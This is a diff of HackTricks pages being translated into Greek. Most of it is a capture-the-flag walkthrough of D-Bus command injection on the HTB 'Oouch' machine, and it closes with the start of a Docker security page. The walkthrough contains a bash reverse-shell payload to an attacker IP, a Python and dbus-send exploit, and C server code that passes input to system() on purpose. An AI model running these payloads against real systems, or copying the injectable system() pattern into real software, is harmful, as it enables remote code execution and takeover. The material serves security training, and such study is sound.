cap_dac_override cap_dac_read_search - cap_fowner cap_fsetid cap_kill cap_setgid - cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service - cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock - cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot - cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot - cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config - cap_mknod cap_lease cap_audit_write cap_audit_control - cap_setfcap cap_mac_override cap_mac_admin cap_syslog - cap_wake_alarm cap_block_suspend cap_audit_read +cap_fowner cap_fsetid cap_kill cap_setgid +cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service +cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock +cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot +cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot +cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config +cap_mknod cap_lease cap_audit_write cap_audit_control +cap_setfcap cap_mac_override cap_mac_admin cap_syslog +cap_wake_alarm cap_block_suspend cap_audit_read InheritableCapabilities= BoundingCapabilities=cap_chown cap_dac_override cap_dac_read_search - cap_fowner cap_fsetid cap_kill cap_setgid - cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service - cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock - cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot - cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot - cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config - cap_mknod cap_lease cap_audit_write cap_audit_control - cap_setfcap cap_mac_override cap_mac_admin cap_syslog - cap_wake_alarm cap_block_suspend cap_audit_read +cap_fowner cap_fsetid cap_kill cap_setgid +cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service +cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock +cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot +cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot +cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config +cap_mknod cap_lease cap_audit_write cap_audit_control +cap_setfcap cap_mac_override cap_mac_admin cap_syslog +cap_wake_alarm cap_block_suspend cap_audit_read ``` +### Λίστα Διεπαφών ενός Αντικειμένου Υπηρεσίας -### List Interfaces of a Service Object - -You need to have enough permissions. - +Πρέπει να έχετε αρκετές άδειες. ```bash busctl tree htb.oouch.Block #Get Interfaces of the service object └─/htb - └─/htb/oouch - └─/htb/oouch/Block +└─/htb/oouch +└─/htb/oouch/Block ``` +### Εξερεύνηση Διεπαφής ενός Αντικειμένου Υπηρεσίας -### Introspect Interface of a Service Object - -Note how in this example it was selected the latest interface discovered using the `tree` parameter (_see previous section_): - +Σημειώστε πώς σε αυτό το παράδειγμα επιλέχθηκε η τελευταία διεπαφή που ανακαλύφθηκε χρησιμοποιώντας την παράμετρο `tree` (_δείτε την προηγούμενη ενότητα_): ```bash busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface @@ -159,59 +150,51 @@ org.freedesktop.DBus.Properties interface - - - .Set method ssv - - .PropertiesChanged signal sa{sv}as - - ``` +Σημειώστε τη μέθοδο `.Block` της διεπαφής `htb.oouch.Block` (αυτή που μας ενδιαφέρει). Το "s" των άλλων στηλών μπορεί να σημαίνει ότι περιμένει μια συμβολοσειρά. -Note the method `.Block` of the interface `htb.oouch.Block` (the one we are interested in). The "s" of the other columns may mean that it's expecting a string. +### Διεπαφή Παρακολούθησης/Καταγραφής -### Monitor/Capture Interface +Με αρκετά δικαιώματα (μόνο τα δικαιώματα `send_destination` και `receive_sender` δεν είναι αρκετά) μπορείτε να **παρακολουθήσετε μια επικοινωνία D-Bus**. -With enough privileges (just `send_destination` and `receive_sender` privileges aren't enough) you can **monitor a D-Bus communication**. - -In order to **monitor** a **communication** you will need to be **root.** If you still find problems being root check [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) and [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus) +Για να **παρακολουθήσετε** μια **επικοινωνία** θα χρειαστεί να είστε **root.** Αν εξακολουθείτε να αντιμετωπίζετε προβλήματα ως root, ελέγξτε [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) και [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus) > [!WARNING] -> If you know how to configure a D-Bus config file to **allow non root users to sniff** the communication please **contact me**! - -Different ways to monitor: +> Αν ξέρετε πώς να ρυθμίσετε ένα αρχείο ρύθμισης D-Bus για να **επιτρέψετε σε μη root χρήστες να παρακολουθούν** την επικοινωνία, παρακαλώ **επικοινωνήστε μαζί μου**! +Διαφορετικοί τρόποι παρακολούθησης: ```bash sudo busctl monitor htb.oouch.Block #Monitor only specified sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see ``` - -In the following example the interface `htb.oouch.Block` is monitored and **the message "**_**lalalalal**_**" is sent through miscommunication**: - +Στο παρακάτω παράδειγμα, η διεπαφή `htb.oouch.Block` παρακολουθείται και **η μήνυμα "**_**lalalalal**_**" αποστέλλεται μέσω παρεξήγησης**: ```bash busctl monitor htb.oouch.Block Monitoring bus message stream. ‣ Type=method_call Endian=l Flags=0 Version=1 Priority=0 Cookie=2 - Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=Block - UniqueName=:1.1376 - MESSAGE "s" { - STRING "lalalalal"; - }; +Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=Block +UniqueName=:1.1376 +MESSAGE "s" { +STRING "lalalalal"; +}; ‣ Type=method_return Endian=l Flags=1 Version=1 Priority=0 Cookie=16 ReplyCookie=2 - Sender=:1.3 Destination=:1.1376 - UniqueName=:1.3 - MESSAGE "s" { - STRING "Carried out :D"; - }; +Sender=:1.3 Destination=:1.1376 +UniqueName=:1.3 +MESSAGE "s" { +STRING "Carried out :D"; +}; ``` +Μπορείτε να χρησιμοποιήσετε το `capture` αντί για το `monitor` για να αποθηκεύσετε τα αποτελέσματα σε ένα αρχείο pcap. -You can use `capture` instead of `monitor` to save the results in a pcap file. - -#### Filtering all the noise - -If there is just too much information on the bus, pass a match rule like so: +#### Φιλτράρισμα όλων των θορύβων +Αν υπάρχει πάρα πολλές πληροφορίες στο λεωφορείο, περάστε έναν κανόνα αντιστοίχισης όπως έτσι: ```bash dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'" ``` - -Multiple rules can be specified. If a message matches _any_ of the rules, the message will be printed. Like so: - +Μπορούν να καθοριστούν πολλαπλοί κανόνες. Εάν ένα μήνυμα ταιριάζει με _οποιονδήποτε_ από τους κανόνες, το μήνυμα θα εκτυπωθεί. Έτσι: ```bash dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends" ``` @@ -219,83 +202,73 @@ dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends" ```bash dbus-monitor "type=method_call" "type=method_return" "type=error" ``` +Δείτε την [τεκμηρίωση D-Bus](http://dbus.freedesktop.org/doc/dbus-specification.html) για περισσότερες πληροφορίες σχετικά με τη σύνταξη κανόνων αντιστοίχισης. -See the [D-Bus documentation](http://dbus.freedesktop.org/doc/dbus-specification.html) for more information on match rule syntax. +### Περισσότερα -### More +`busctl` έχει ακόμη περισσότερες επιλογές, [**βρείτε όλες εδώ**](https://www.freedesktop.org/software/systemd/man/busctl.html). -`busctl` has even more options, [**find all of them here**](https://www.freedesktop.org/software/systemd/man/busctl.html). - -## **Vulnerable Scenario** - -As user **qtc inside the host "oouch" from HTB** you can find an **unexpected D-Bus config file** located in _/etc/dbus-1/system.d/htb.oouch.Block.conf_: +## **Ευάλωτο Σενάριο** +Ως χρήστης **qtc μέσα στον υπολογιστή "oouch" από το HTB** μπορείτε να βρείτε ένα **αναμενόμενο αρχείο ρυθμίσεων D-Bus** που βρίσκεται στο _/etc/dbus-1/system.d/htb.oouch.Block.conf_: ```xml +"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN" +"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd"> - - - + + + - - - - + + + + ``` +Σημειώστε από την προηγούμενη διαμόρφωση ότι **θα χρειαστεί να είστε ο χρήστης `root` ή `www-data` για να στείλετε και να λάβετε πληροφορίες** μέσω αυτής της επικοινωνίας D-BUS. -Note from the previous configuration that **you will need to be the user `root` or `www-data` to send and receive information** via this D-BUS communication. - -As user **qtc** inside the docker container **aeb4525789d8** you can find some dbus related code in the file _/code/oouch/routes.py._ This is the interesting code: - +Ως χρήστης **qtc** μέσα στο κοντέινερ docker **aeb4525789d8** μπορείτε να βρείτε κάποιο κώδικα σχετικό με το dbus στο αρχείο _/code/oouch/routes.py._ Αυτός είναι ο ενδιαφέρον κώδικας: ```python if primitive_xss.search(form.textfield.data): - bus = dbus.SystemBus() - block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block') - block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block') +bus = dbus.SystemBus() +block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block') +block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block') - client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr) - response = block_iface.Block(client_ip) - bus.close() - return render_template('hacker.html', title='Hacker') +client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr) +response = block_iface.Block(client_ip) +bus.close() +return render_template('hacker.html', title='Hacker') ``` +Όπως μπορείτε να δείτε, **συνδέεται σε μια διεπαφή D-Bus** και στέλνει στη **λειτουργία "Block"** το "client_ip". -As you can see, it is **connecting to a D-Bus interface** and sending to the **"Block" function** the "client_ip". +Στην άλλη πλευρά της σύνδεσης D-Bus εκτελείται κάποιο C compiled binary. Αυτός ο κώδικας **ακούει** στη σύνδεση D-Bus **για διευθύνσεις IP και καλεί το iptables μέσω της `system` λειτουργίας** για να μπλοκάρει τη δεδομένη διεύθυνση IP.\ +**Η κλήση στη `system` είναι ευάλωτη σκόπιμα σε command injection**, οπότε ένα payload όπως το παρακάτω θα δημιουργήσει ένα reverse shell: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #` -In the other side of the D-Bus connection there is some C compiled binary running. This code is **listening** in the D-Bus connection **for IP address and is calling iptables via `system` function** to block the given IP address.\ -**The call to `system` is vulnerable on purpose to command injection**, so a payload like the following one will create a reverse shell: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #` - -### Exploit it - -At the end of this page you can find the **complete C code of the D-Bus application**. Inside of it you can find between the lines 91-97 **how the `D-Bus object path`** **and `interface name`** are **registered**. This information will be necessary to send information to the D-Bus connection: +### Εκμεταλλευτείτε το +Στο τέλος αυτής της σελίδας μπορείτε να βρείτε τον **συμπληρωματικό C κώδικα της εφαρμογής D-Bus**. Μέσα σε αυτόν μπορείτε να βρείτε μεταξύ των γραμμών 91-97 **πώς η `D-Bus object path`** **και το `interface name`** είναι **καταχωρημένα**. Αυτή η πληροφορία θα είναι απαραίτητη για να στείλετε πληροφορίες στη σύνδεση D-Bus: ```c - /* Install the object */ - r = sd_bus_add_object_vtable(bus, - &slot, - "/htb/oouch/Block", /* interface */ - "htb.oouch.Block", /* service object */ - block_vtable, - NULL); +/* Install the object */ +r = sd_bus_add_object_vtable(bus, +&slot, +"/htb/oouch/Block", /* interface */ +"htb.oouch.Block", /* service object */ +block_vtable, +NULL); ``` - -Also, in line 57 you can find that **the only method registered** for this D-Bus communication is called `Block`(_**Thats why in the following section the payloads are going to be sent to the service object `htb.oouch.Block`, the interface `/htb/oouch/Block` and the method name `Block`**_): - +Επίσης, στη γραμμή 57 μπορείτε να βρείτε ότι **η μόνη μέθοδος που έχει καταχωρηθεί** για αυτή την επικοινωνία D-Bus ονομάζεται `Block`(_**Γι' αυτό στην επόμενη ενότητα τα payloads θα σταλούν στο αντικείμενο υπηρεσίας `htb.oouch.Block`, τη διεπαφή `/htb/oouch/Block` και το όνομα της μεθόδου `Block`**_): ```c SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED), ``` - #### Python -The following python code will send the payload to the D-Bus connection to the `Block` method via `block_iface.Block(runme)` (_note that it was extracted from the previous chunk of code_): - +Ο παρακάτω κώδικας python θα στείλει το payload στη σύνδεση D-Bus στη μέθοδο `Block` μέσω `block_iface.Block(runme)` (_σημειώστε ότι έχει εξαχθεί από το προηγούμενο κομμάτι κώδικα_): ```python import dbus bus = dbus.SystemBus() @@ -305,24 +278,20 @@ runme = ";bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #" response = block_iface.Block(runme) bus.close() ``` - -#### busctl and dbus-send - +#### busctl και dbus-send ```bash dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #' ``` +- `dbus-send` είναι ένα εργαλείο που χρησιμοποιείται για την αποστολή μηνυμάτων στο “Message Bus” +- Message Bus – Ένα λογισμικό που χρησιμοποιείται από τα συστήματα για να διευκολύνει τις επικοινωνίες μεταξύ εφαρμογών. Σχετίζεται με το Message Queue (τα μηνύματα είναι διατεταγμένα σε σειρά) αλλά στο Message Bus τα μηνύματα αποστέλλονται σε μοντέλο συνδρομής και είναι επίσης πολύ γρήγορα. +- Η ετικέτα “-system” χρησιμοποιείται για να αναφέρει ότι είναι ένα σύστημα μήνυμα, όχι ένα μήνυμα συνεδρίας (κατά προεπιλογή). +- Η ετικέτα “–print-reply” χρησιμοποιείται για να εκτυπώσει το μήνυμά μας κατάλληλα και να λάβει οποιεσδήποτε απαντήσεις σε αναγνώσιμη μορφή από άνθρωπο. +- “–dest=Dbus-Interface-Block” Η διεύθυνση της διεπαφής Dbus. +- “–string:” – Τύπος μηνύματος που θέλουμε να στείλουμε στη διεπαφή. Υπάρχουν διάφορες μορφές αποστολής μηνυμάτων όπως διπλά, bytes, booleans, int, objpath. Από αυτά, το “object path” είναι χρήσιμο όταν θέλουμε να στείλουμε μια διαδρομή ενός αρχείου στη διεπαφή Dbus. Μπορούμε να χρησιμοποιήσουμε ένα ειδικό αρχείο (FIFO) σε αυτή την περίπτωση για να περάσουμε μια εντολή στη διεπαφή με το όνομα ενός αρχείου. “string:;” – Αυτό είναι για να καλέσουμε ξανά το object path όπου τοποθετούμε το αρχείο/εντολή FIFO reverse shell. -- `dbus-send` is a tool used to send message to “Message Bus” -- Message Bus – A software used by systems to make communications between applications easily. It’s related to Message Queue (messages are ordered in sequence) but in Message Bus the messages are sending in a subscription model and also very quick. -- “-system” tag is used to mention that it is a system message, not a session message (by default). -- “–print-reply” tag is used to print our message appropriately and receives any replies in a human-readable format. -- “–dest=Dbus-Interface-Block” The address of the Dbus interface. -- “–string:” – Type of message we like to send to the interface. There are several formats of sending messages like double, bytes, booleans, int, objpath. Out of this, the “object path” is useful when we want to send a path of a file to the Dbus interface. We can use a special file (FIFO) in this case to pass a command to interface in the name of a file. “string:;” – This is to call the object path again where we place of FIFO reverse shell file/command. - -_Note that in `htb.oouch.Block.Block`, the first part (`htb.oouch.Block`) references the service object and the last part (`.Block`) references the method name._ +_Σημειώστε ότι στο `htb.oouch.Block.Block`, το πρώτο μέρος (`htb.oouch.Block`) αναφέρεται στο αντικείμενο υπηρεσίας και το τελευταίο μέρος (`.Block`) αναφέρεται στο όνομα της μεθόδου._ ### C code - ```c:d-bus_server.c //sudo apt install pkgconf //sudo apt install libsystemd-dev @@ -336,135 +305,134 @@ _Note that in `htb.oouch.Block.Block`, the first part (`htb.oouch.Block`) refere #include static int method_block(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) { - char* host = NULL; - int r; +char* host = NULL; +int r; - /* Read the parameters */ - r = sd_bus_message_read(m, "s", &host); - if (r < 0) { - fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r)); - return r; - } +/* Read the parameters */ +r = sd_bus_message_read(m, "s", &host); +if (r < 0) { +fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r)); +return r; +} - char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP"; +char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP"; - int command_len = strlen(command); - int host_len = strlen(host); +int command_len = strlen(command); +int host_len = strlen(host); - char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char)); - if(command_buffer == NULL) { - fprintf(stderr, "Failed to allocate memory\n"); - return -1; - } +char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char)); +if(command_buffer == NULL) { +fprintf(stderr, "Failed to allocate memory\n"); +return -1; +} - sprintf(command_buffer, command, host); +sprintf(command_buffer, command, host); - /* In the first implementation, we simply ran command using system(), since the expected DBus - * to be threading automatically. However, DBus does not thread and the application will hang - * forever if some user spawns a shell. Thefore we need to fork (easier than implementing real - * multithreading) - */ - int pid = fork(); +/* In the first implementation, we simply ran command using system(), since the expected DBus +* to be threading automatically. However, DBus does not thread and the application will hang +* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real +* multithreading) +*/ +int pid = fork(); - if ( pid == 0 ) { - /* Here we are in the child process. We execute the command and eventually exit. */ - system(command_buffer); - exit(0); - } else { - /* Here we are in the parent process or an error occured. We simply send a genric message. - * In the first implementation we returned separate error messages for success or failure. - * However, now we cannot wait for results of the system call. Therefore we simply return - * a generic. */ - return sd_bus_reply_method_return(m, "s", "Carried out :D"); - } - r = system(command_buffer); +if ( pid == 0 ) { +/* Here we are in the child process. We execute the command and eventually exit. */ +system(command_buffer); +exit(0); +} else { +/* Here we are in the parent process or an error occured. We simply send a genric message. +* In the first implementation we returned separate error messages for success or failure. +* However, now we cannot wait for results of the system call. Therefore we simply return +* a generic. */ +return sd_bus_reply_method_return(m, "s", "Carried out :D"); +} +r = system(command_buffer); } /* The vtable of our little object, implements the net.poettering.Calculator interface */ static const sd_bus_vtable block_vtable[] = { - SD_BUS_VTABLE_START(0), - SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED), - SD_BUS_VTABLE_END +SD_BUS_VTABLE_START(0), +SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED), +SD_BUS_VTABLE_END }; int main(int argc, char *argv[]) { - /* - * Main method, registeres the htb.oouch.Block service on the system dbus. - * - * Paramaters: - * argc (int) Number of arguments, not required - * argv[] (char**) Argument array, not required - * - * Returns: - * Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive - * as long as the user keeps it alive. - */ +/* +* Main method, registeres the htb.oouch.Block service on the system dbus. +* +* Paramaters: +* argc (int) Number of arguments, not required +* argv[] (char**) Argument array, not required +* +* Returns: +* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive +* as long as the user keeps it alive. +*/ - /* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */ - signal(SIGCHLD,SIG_IGN); +/* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */ +signal(SIGCHLD,SIG_IGN); - sd_bus_slot *slot = NULL; - sd_bus *bus = NULL; - int r; +sd_bus_slot *slot = NULL; +sd_bus *bus = NULL; +int r; - /* First we need to connect to the system bus. */ - r = sd_bus_open_system(&bus); - if (r < 0) - { - fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r)); - goto finish; - } +/* First we need to connect to the system bus. */ +r = sd_bus_open_system(&bus); +if (r < 0) +{ +fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r)); +goto finish; +} - /* Install the object */ - r = sd_bus_add_object_vtable(bus, - &slot, - "/htb/oouch/Block", /* interface */ - "htb.oouch.Block", /* service object */ - block_vtable, - NULL); - if (r < 0) { - fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r)); - goto finish; - } +/* Install the object */ +r = sd_bus_add_object_vtable(bus, +&slot, +"/htb/oouch/Block", /* interface */ +"htb.oouch.Block", /* service object */ +block_vtable, +NULL); +if (r < 0) { +fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r)); +goto finish; +} - /* Register the service name to find out object */ - r = sd_bus_request_name(bus, "htb.oouch.Block", 0); - if (r < 0) { - fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r)); - goto finish; - } +/* Register the service name to find out object */ +r = sd_bus_request_name(bus, "htb.oouch.Block", 0); +if (r < 0) { +fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r)); +goto finish; +} - /* Infinite loop to process the client requests */ - for (;;) { - /* Process requests */ - r = sd_bus_process(bus, NULL); - if (r < 0) { - fprintf(stderr, "Failed to process bus: %s\n", strerror(-r)); - goto finish; - } - if (r > 0) /* we processed a request, try to process another one, right-away */ - continue; +/* Infinite loop to process the client requests */ +for (;;) { +/* Process requests */ +r = sd_bus_process(bus, NULL); +if (r < 0) { +fprintf(stderr, "Failed to process bus: %s\n", strerror(-r)); +goto finish; +} +if (r > 0) /* we processed a request, try to process another one, right-away */ +continue; - /* Wait for the next request to process */ - r = sd_bus_wait(bus, (uint64_t) -1); - if (r < 0) { - fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r)); - goto finish; - } - } +/* Wait for the next request to process */ +r = sd_bus_wait(bus, (uint64_t) -1); +if (r < 0) { +fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r)); +goto finish; +} +} finish: - sd_bus_slot_unref(slot); - sd_bus_unref(bus); +sd_bus_slot_unref(slot); +sd_bus_unref(bus); - return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS; +return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS; } ``` - -## References +## Αναφορές - [https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/) diff --git a/src/linux-hardening/privilege-escalation/docker-security/README.md b/src/linux-hardening/privilege-escalation/docker-security/README.md index 39c7fbb8a..b2b329e66 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/README.md @@ -2,22 +2,22 @@ {{#include ../../../banners/hacktricks-training.md}} -## **Βασική Ασφάλεια Docker Engine** +## **Βασική Ασφάλεια Μηχανής Docker** -Ο **Docker engine** χρησιμοποιεί τα **Namespaces** και **Cgroups** του πυρήνα Linux για να απομονώσει τα κοντέινερ, προσφέροντας ένα βασικό επίπεδο ασφάλειας. Επιπλέον προστασία παρέχεται μέσω της **Αφαίρεσης Δυνατοτήτων**, **Seccomp**, και **SELinux/AppArmor**, ενισχύοντας την απομόνωση των κοντέινερ. Ένα **auth plugin** μπορεί να περιορίσει περαιτέρω τις ενέργειες των χρηστών. +Η **μηχανή Docker** χρησιμοποιεί τα **Namespaces** και **Cgroups** του πυρήνα Linux για να απομονώσει τα κοντέινερ, προσφέροντας μια βασική στρώση ασφάλειας. Επιπλέον προστασία παρέχεται μέσω της **πτώσης Δυνατοτήτων**, **Seccomp** και **SELinux/AppArmor**, ενισχύοντας την απομόνωση των κοντέινερ. Ένα **auth plugin** μπορεί να περιορίσει περαιτέρω τις ενέργειες των χρηστών. ![Docker Security](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png) -### Ασφαλής Πρόσβαση στον Docker Engine +### Ασφαλής Πρόσβαση στη Μηχανή Docker -Ο Docker engine μπορεί να προσπελαστεί είτε τοπικά μέσω ενός Unix socket είτε απομακρυσμένα χρησιμοποιώντας HTTP. Για απομακρυσμένη πρόσβαση, είναι απαραίτητο να χρησιμοποιούνται HTTPS και **TLS** για να διασφαλιστεί η εμπιστευτικότητα, η ακεραιότητα και η αυθεντικοποίηση. +Η μηχανή Docker μπορεί να προσπελαστεί είτε τοπικά μέσω ενός Unix socket είτε απομακρυσμένα χρησιμοποιώντας HTTP. Για απομακρυσμένη πρόσβαση, είναι απαραίτητο να χρησιμοποιούνται HTTPS και **TLS** για να διασφαλιστούν η εμπιστευτικότητα, η ακεραιότητα και η ταυτοποίηση. -Ο Docker engine, από προεπιλογή, ακούει στο Unix socket στο `unix:///var/run/docker.sock`. Στα συστήματα Ubuntu, οι επιλογές εκκίνησης του Docker ορίζονται στο `/etc/default/docker`. Για να επιτρέψετε απομακρυσμένη πρόσβαση στο Docker API και τον πελάτη, εκθέστε τον Docker daemon μέσω ενός HTTP socket προσθέτοντας τις παρακάτω ρυθμίσεις: +Η μηχανή Docker, από προεπιλογή, ακούει στο Unix socket στο `unix:///var/run/docker.sock`. Στα συστήματα Ubuntu, οι επιλογές εκκίνησης του Docker ορίζονται στο `/etc/default/docker`. Για να επιτρέψετε απομακρυσμένη πρόσβαση στο Docker API και τον πελάτη, εκθέστε τον Docker daemon μέσω ενός HTTP socket προσθέτοντας τις παρακάτω ρυθμίσεις: ```bash DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376" sudo service docker restart ``` -Ωστόσο, η έκθεση του Docker daemon μέσω HTTP δεν συνιστάται λόγω ανησυχιών ασφαλείας. Είναι σκόπιμο να ασφαλίσετε τις συνδέσεις χρησιμοποιώντας HTTPS. Υπάρχουν δύο κύριες προσεγγίσεις για την ασφάλιση της σύνδεσης: +Ωστόσο, η έκθεση του Docker daemon μέσω HTTP δεν συνιστάται λόγω ανησυχιών σχετικά με την ασφάλεια. Είναι σκόπιμο να ασφαλίσετε τις συνδέσεις χρησιμοποιώντας HTTPS. Υπάρχουν δύο κύριες προσεγγίσεις για την ασφάλιση της σύνδεσης: 1. Ο πελάτης επαληθεύει την ταυτότητα του διακομιστή. 2. Και ο πελάτης και ο διακομιστής αλληλοεπιβεβαιώνουν την ταυτότητα ο ένας του άλλου. @@ -26,7 +26,7 @@ sudo service docker restart ### Ασφάλεια Εικόνων Κοντέινερ -Οι εικόνες κοντέινερ μπορούν να αποθηκευτούν είτε σε ιδιωτικά είτε σε δημόσια αποθετήρια. Το Docker προσφέρει πολλές επιλογές αποθήκευσης για εικόνες κοντέινερ: +Οι εικόνες κοντέινερ μπορούν να αποθηκευτούν σε ιδιωτικά ή δημόσια αποθετήρια. Το Docker προσφέρει πολλές επιλογές αποθήκευσης για εικόνες κοντέινερ: - [**Docker Hub**](https://hub.docker.com): Μια δημόσια υπηρεσία μητρώου από το Docker. - [**Docker Registry**](https://github.com/docker/distribution): Ένα έργο ανοιχτού κώδικα που επιτρέπει στους χρήστες να φιλοξενούν το δικό τους μητρώο. @@ -34,7 +34,7 @@ sudo service docker restart ### Σάρωση Εικόνας -Τα κοντέινερ μπορεί να έχουν **ευπάθειες ασφαλείας** είτε λόγω της βασικής εικόνας είτε λόγω του λογισμικού που είναι εγκατεστημένο πάνω από τη βασική εικόνα. Το Docker εργάζεται σε ένα έργο που ονομάζεται **Nautilus** που εκτελεί σάρωση ασφαλείας των Κοντέινερ και καταγράφει τις ευπάθειες. Το Nautilus λειτουργεί συγκρίνοντας κάθε επίπεδο εικόνας Κοντέινερ με το μητρώο ευπαθειών για να εντοπίσει τα κενά ασφαλείας. +Τα κοντέινερ μπορεί να έχουν **ευπάθειες ασφαλείας** είτε λόγω της βασικής εικόνας είτε λόγω του λογισμικού που είναι εγκατεστημένο πάνω από τη βασική εικόνα. Το Docker εργάζεται σε ένα έργο που ονομάζεται **Nautilus** που εκτελεί σάρωση ασφαλείας των Κοντέινερ και καταγράφει τις ευπάθειες. Το Nautilus λειτουργεί συγκρίνοντας κάθε επίπεδο εικόνας Κοντέινερ με το αποθετήριο ευπαθειών για να εντοπίσει κενά ασφαλείας. Για περισσότερες [**πληροφορίες διαβάστε αυτό**](https://docs.docker.com/engine/scan/). @@ -74,7 +74,7 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5 - **Docker Content Trust** χρησιμοποιεί το έργο Notary, βασισμένο στο The Update Framework (TUF), για τη διαχείριση της υπογραφής εικόνας. Για περισσότερες πληροφορίες, δείτε το [Notary](https://github.com/docker/notary) και το [TUF](https://theupdateframework.github.io). - Για να ενεργοποιήσετε την εμπιστοσύνη περιεχομένου Docker, ρυθμίστε `export DOCKER_CONTENT_TRUST=1`. Αυτή η δυνατότητα είναι απενεργοποιημένη από προεπιλογή στην έκδοση Docker 1.10 και μεταγενέστερες. -- Με αυτή τη δυνατότητα ενεργοποιημένη, μόνο υπογεγραμμένες εικόνες μπορούν να ληφθούν. Η αρχική μεταφόρτωση εικόνας απαιτεί τη ρύθμιση κωδικών πρόσβασης για τα κλειδιά root και tagging, με το Docker να υποστηρίζει επίσης Yubikey για αυξημένη ασφάλεια. Περισσότερες λεπτομέρειες μπορείτε να βρείτε [εδώ](https://blog.docker.com/2015/11/docker-content-trust-yubikey/). +- Με αυτή τη δυνατότητα ενεργοποιημένη, μόνο υπογεγραμμένες εικόνες μπορούν να ληφθούν. Η αρχική μεταφόρτωση εικόνας απαιτεί ρύθμιση κωδικών πρόσβασης για τα κλειδιά root και tagging, με το Docker να υποστηρίζει επίσης Yubikey για ενισχυμένη ασφάλεια. Περισσότερες λεπτομέρειες μπορείτε να βρείτε [εδώ](https://blog.docker.com/2015/11/docker-content-trust-yubikey/). - Η προσπάθεια λήψης μιας μη υπογεγραμμένης εικόνας με ενεργοποιημένη την εμπιστοσύνη περιεχομένου έχει ως αποτέλεσμα ένα σφάλμα "No trust data for latest". - Για τις μεταφορτώσεις εικόνας μετά την πρώτη, το Docker ζητά τον κωδικό πρόσβασης του κλειδιού αποθετηρίου για να 